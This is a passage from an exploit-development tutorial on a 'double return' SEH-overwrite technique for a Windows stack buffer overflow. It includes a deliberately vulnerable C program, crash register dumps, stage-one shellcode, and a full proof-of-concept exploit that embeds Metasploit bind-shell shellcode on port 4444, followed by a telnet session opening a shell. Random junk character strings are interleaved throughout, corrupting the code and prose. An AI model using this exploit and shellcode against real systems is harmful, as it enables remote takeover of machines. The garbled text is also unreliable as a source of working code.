The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well." V: j& I! q" V$ M4 g' V4 l
- k' n+ K1 P. @( {$ M* v[Buf] <- Shellcode7 Z" ?$ x# D0 Q( U, I% ^
[Return Address] <- jmp register (for Windows XP sp1) # x% ^+ f! }% F+ i" H. V; D5 ~[Various Stack Data] <- Junk& t9 n4 ^1 Z2 s0 o5 P
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward. \ [/ T5 ?4 g7 z( C. I
[SE Handler] <- jmp register (for Win2k sp4) / N! v8 g1 q) V" ]' r8 u[Stage1 Shellcode] <- stage1 shellcode for win2k" q* Z, {4 _ b" X: g) w
4 u7 A& P3 J! M$ ~5 h) q0 i o6 P
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses & G, d0 C4 l" W; Z2 m. `$ p ! Y/ A9 w! z$ Q2 u! `! T' R' {+ R0 ONecessary Tools: , K7 r `) y& X# d4 r2 P- OllyDBG 8 I. Z; j3 C: D2 G4 U- C/C++ Compiler, [8 Z' ?. m! T! [9 h
- nasm + q& }% {8 d% n9 i, l- Sac. x$ f% l- N/ y) Y
/ \6 C7 H1 K' a& oVulnerable Code:! P8 B6 Y) [" w' o0 s5 t7 g2 s
//lamebuf.c& T+ M9 K9 {5 ]- B" L1 Q
#include<stdio.h>* u- K5 m4 g0 S8 i% R
#include<string.h>8 l6 V% E3 E2 z% T- j
#include<windows.h> R5 w8 ~: r9 ]int main(int argc,char *argv[]){ + l( C& M( [. A $ f# t- W% c' m: Hchar buf[512];+ \2 k" E" v8 Z
char buf1[1024]; // <- simulate a stack, \3 @6 h B+ Y$ W. u* d. |4 z
//DebugBreak(); * ~; R8 l$ s+ b! F lif (argc != 2){ return -1; } 8 E/ l" b# t9 p: b% f ( \ Y- I; J" J! F: a- istrcpy(buf,argv[1]); ; B5 g2 V- z. Q! ireturn 0x0;- r, Q2 i/ P. A8 y# Q( k
}7 B4 t, e8 Z) ^) d2 w8 e! J
7 m( R. ~1 f. X" A" Z+ r* `Getting Started:0 K) v9 h2 k3 C9 b
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: . o2 R4 U# U# b ; y/ X* t4 t, ^5 J3 [EAX 00000000# L: Z8 W; d0 k' @+ B& V$ B( {" K0 O
ECX 003214049 h. J* b% L$ J' G: y: c6 g8 G6 D
EDX 00414141 7 s5 W5 x0 b7 P0 Z) N [EBX 7FFDF000 ) l, D- f6 X/ S1 y9 qESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"0 K/ |+ e# {, `8 N6 ~
EBP 41414141 6 Q: U7 q, M$ @ v) \- U, X2 vESI 77D4595F 2 {; T* a Q& v. z3 MEDI 77F59037 ntdll.77F59037; s+ ^5 | Z& p# G% m3 J1 h7 l
EIP 41414141 + M. Q% L( x( g9 Z3 J 4 D7 M; F) N8 h; f _7 DLets take a look at the stack and see what happened to the default exception handler: \0 Z$ H, b: {: C; g8 O
0x0012FFB0 41414141 Pointer to next SEH Record& s- |8 v6 ?, L
0x0012FFB4 41414141 SE Handler - _9 i( K/ A+ {4 q( K2 |+ O$ c0 R! U! n5 ?& z
We successfully overwrote the return address and the default exception handler. b0 Z7 n" l6 K/ t* @8 w, I% R: U% Q
4 y6 I+ O1 l, O) |( c1 SPrimary Return Address (Windows XP SP1 EN):3 F, M- l; E# Y9 a; O
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: . C$ `5 F- o$ e"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4". }: h. E S8 ~9 l0 P
# T( x3 W. J" [# R* G7 TSecondary Return Address (Windows 2000 SP4 EN):- S$ w3 s& C; P9 }1 ?% H
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:" k( u1 j* w: j/ [/ T' X% R
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"1 T( x5 F9 K1 Z) D) ?( K/ ^5 [
) B2 [4 X" J5 m# eProof Of Concept:+ M2 @: y- s" w2 w4 c' k: w3 y# u
// exploit.c8 f2 v9 {; q! T z0 s$ L& a! _
// Tal zeltzer - [Double Return] //! Q; c$ Z) ?. s- P' h
2 M/ M: y7 F8 c( y5 x) N/ f& R
#include<stdio.h>& @2 E, i7 H2 V. a% R4 f
#include<string.h> : G/ {) Z S3 C0 Z! E#include<windows.h>& _- @! Y4 j/ t# o4 l
% m3 U0 h* E% }7 q% N- E
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp ; G+ ~% p$ Y/ Z1 R9 ?+ \* g) d#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx; T! w2 n9 `) z: v+ }
3 j0 b* f7 c. c& J8 e
// Stage1 For WinXP Sp1 English+ J H3 F" ~% p1 ]3 E% U
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"; 3 L% J' t5 y4 Q3 P. d H& S% G: X6 {7 u: g3 Q( R. V
// Stage1 For Win2k Sp4 English * h& y. w$ k2 a: R$ }9 J8 {unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";1 E o; v `# X i, G6 v
# A5 {( x; n3 J* M8 L# y" b/ N
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com 3 l* o5 d: b/ q3 d$ nunsigned char shellcode[] =6 M0 {2 a) \; Z& Z4 s5 U% B
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85") W- C; B0 n# z2 X: Q
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"6 _0 O) M: P; A8 n8 H
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" ' N* ~% U$ y7 X6 x"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" , B4 P3 U$ A/ ~5 U6 h3 g"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"" a/ ~4 J1 q8 C, C* W& e
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15". X" u- n) X ?
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14". n) q/ J( S( R8 M/ J, ?4 h' J( i9 N
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" ( i' U/ r0 v6 b; T"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"+ X2 e2 t' o& E; x
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"2 \0 Y; R* G! M. A W) z" t
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb") }9 Z, r% r+ P
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" % {* B+ h E* N3 p. T; d"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" # O! B* b1 d7 |' O"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"/ z- X. @2 ?- v) F. |! F
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" 4 u( c$ f4 U+ w* d; r+ x2 A& J8 T" _1 H"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" 8 b1 h: \& C% N8 Q7 D$ ^1 s/ d"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" % |7 c/ T* x4 @9 b) l9 K"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"% h+ V% j( o! u8 D/ z
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"* r$ V! u3 m# U0 ], Y3 }
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" : h' t% B& J/ y/ S+ l"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"/ G! B; t. ~$ y: ?: p* K
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" , {# G' O( i' D0 M7 l"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"$ R, M3 H4 U6 f! Z4 W2 z
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a") A! j1 \) j/ H/ G& z) B
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; 1 H8 X7 e3 @( v1 ?* S$ I * q0 ?. w, d5 n \7 j" P9 {" \6 E ' X3 O ]' L% S* ]2 E$ }int main(int argc,char *argv[]){2 X" }9 C8 V$ |6 K! ?; K, k
q6 @0 m0 d4 [* }6 U3 s) T9 |, t
char *bufExe[3];9 O0 ^3 l' J% E% z: n+ ?
char buf[2048]; / X. {' g. E7 P3 Y1 p' `' jbufExe[0] = "lamebuf.exe"; 2 B6 l: R4 ]9 m* Z+ HbufExe[2] = NULL;, l# b+ ]5 l7 M4 D; f
; y: P; k1 A* `0 K y2 S7 A, ~memset(buf,0x0,sizeof(buf));* ?7 L. W+ M/ }8 h8 |
memset(buf,0x90,1652);. G' R/ E4 e* X0 u$ K
memcpy(&buf[24],shellcode,sizeof(shellcode)-1); 2 e# r$ @& A: b5 O T) h4 w$ |+ S# S3 [% a
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode & O3 m' f# \1 a9 Zmemcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode 3 V0 C9 r+ Y @+ [- H) N' H" a. y3 R8 E" K$ Z5 N& P
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en * L8 T0 l" N% V8 }7 d*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code7 v: Z; n0 s+ P5 a3 U% k! [
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en" c/ {, B; ], O; h" Z0 V
8 {: D2 x& C5 @
" x* B2 D \" TbufExe[1] = buf; 3 u$ N% q! C4 I% Z//Execute the vulnerable application& ~% h* l' |( B/ p, o' F# F
execve(bufExe[0],bufExe,NULL); 1 r6 C3 L7 M# R# f' \* \' D/ T, @) I4 Y/ f% C9 G. {+ d" R
return 0x0; # f* Q' t" n* q$ N" j' H) X}* ^8 U3 N" n6 d& m% I7 _; j& q' S
& C3 b4 H4 s" d: a) t* M# ZExploit under Windows XP SP1: ) Z* n+ r! F6 Y) mC:\>exploit ( ~: S' u8 _8 ?. s! i! mC:\> 8 g7 I6 p) B# y: k! @5 ^/ F3 tC:\>telnet 127.0.0.1 4444 7 u. y: e3 q$ B7 J& ~1 P. { % ^) J* n b3 p( T; kMicrosoft Windows XP [Version 5.1.2600]2 ^# X9 Q. |4 w# U$ Y! q5 `8 y
(C) Copyright 1985-2001 Microsoft Corp. , l, \0 R: o/ C; F; K, [6 R" w! s. x9 [: W9 W
C:\>0 R" P/ D" V1 u& m/ C